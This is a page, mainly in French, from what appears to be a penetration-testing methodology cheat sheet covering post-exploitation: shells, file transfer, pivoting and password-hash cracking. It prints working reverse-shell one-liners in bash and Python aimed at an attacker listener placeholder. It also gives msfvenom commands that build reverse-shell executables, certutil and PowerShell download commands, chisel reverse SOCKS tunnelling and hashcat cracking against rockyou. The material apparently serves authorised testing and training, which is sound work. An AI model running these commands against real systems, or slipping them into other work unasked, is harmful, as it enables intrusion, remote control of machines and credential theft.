5 - Shells, transfert & pivot¶
Une fois l'exécution de commandes obtenue, l'objectif est d'établir un accès interactif fiable, puis de se déplacer dans l'environnement. Cette phase couvre la génération et la stabilisation des reverse shells, le transfert de fichiers entre l'attaquant et la cible, le pivot vers les réseaux internes et le cassage des hachages récupérés. Chaque étape ci-dessous reprend la commande exacte de la méthodologie, accompagnée de références externes vérifiées.
Jetons
Les jetons entre accolades sont substitués automatiquement à partir de votre contexte : {IP} (cible courante), {USER} (utilisateur), {IFACE} (interface), etc. Le marqueur <listener_ip> désigne votre IP d'écoute (la machine de l'attaquant) ; remplacez-le par l'adresse de votre interface VPN/tap. Les ports (4444, 8000, etc.) sont des valeurs d'exemple à adapter.
Reverse shells & stabilization¶
Service : reverse. Générez la charge, mettez-vous en écoute, puis stabilisez le TTY. Catalogue de payloads : revshells.com.
Références
- HackTricks - Full TTYs (stabilisation du shell)
- PayloadsAllTheThings - Reverse Shell Cheatsheet
- revshells.com - générateur interactif de reverse shells
Listener¶
Voir aussi : PayloadsAllTheThings - Reverse Shell Cheatsheet
Payloads (Linux)¶
bash -i >& /dev/tcp/<listener_ip>/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<listener_ip>",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
Voir aussi : HackTricks - Reverse shells (Linux)
Payloads (msfvenom)¶
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<listener_ip> LPORT=4444 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<listener_ip> LPORT=4444 -f elf -o s.elf
Voir aussi : Kali - Metasploit Framework · HackTricks - Reverse shells (Windows)
Stabilize the TTY¶
# 1) in the target shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2) keystroke: Ctrl+Z (backgrounds the shell)
# 3) in YOUR local terminal:
stty raw -echo; fg
# 4) back in the shell (Enter), type:
export TERM=xterm
Voir aussi : HackTricks - Full TTYs
File transfer¶
Service : transfer. Montez un serveur côté attaquant, puis téléchargez côté cible.
Références
- HackTricks - Exfiltration (canaux de transfert de fichiers)
- PayloadsAllTheThings - Windows - Download and Execute
Attacker-side server¶
Voir aussi : Kali - Impacket
Download (Linux target)¶
Voir aussi : HackTricks - Exfiltration
Download (Windows target)¶
certutil -urlcache -f http://<listener_ip>/f f.exe
powershell iwr http://<listener_ip>/f -OutFile f.exe
Voir aussi : PayloadsAllTheThings - Windows - Download and Execute
Pivoting / tunneling¶
Service : tunneling. Rebondissez vers un réseau interne via la machine compromise.
Références
- HackTricks - Tunneling and Port Forwarding
- ligolo-ng (GitHub) · chisel (GitHub)
Ligolo-ng (recommended)¶
Voir aussi : ligolo-ng - dépôt et documentation · Kali - ligolo-ng
Chisel (reverse SOCKS)¶
# attacker: ./chisel server -p 8000 --reverse
# target : ./chisel client <listener_ip>:8000 R:1080:socks
Voir aussi : chisel - usage
SSH tunnels¶
Voir aussi : HackTricks - Tunneling and Port Forwarding
Hash cracking (hashcat / john)¶
Service : hashcat. Identifiez le type de hachage (hashid) puis choisissez le bon mode -m.
Références
- hashcat - example_hashes (table des modes -m)
- hashcat - Rule-based attack
- John the Ripper (GitHub)
Identify the hash¶
Voir aussi : Name-That-Hash (GitHub) · Kali - name-that-hash
Common -m modes¶
# 1000 NTLM | 1800 sha512crypt ($6$)
# 5500 NetNTLMv1 | 5600 NetNTLMv2
# 13100 Kerberoast (TGS) | 18200 AS-REP
# 0 MD5 | 100 SHA1 | 3200 bcrypt | 7300 IPMI
Voir aussi : hashcat - example_hashes
Run the crack¶
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Voir aussi : Kali - hashcat · hashcat - Rule-based attack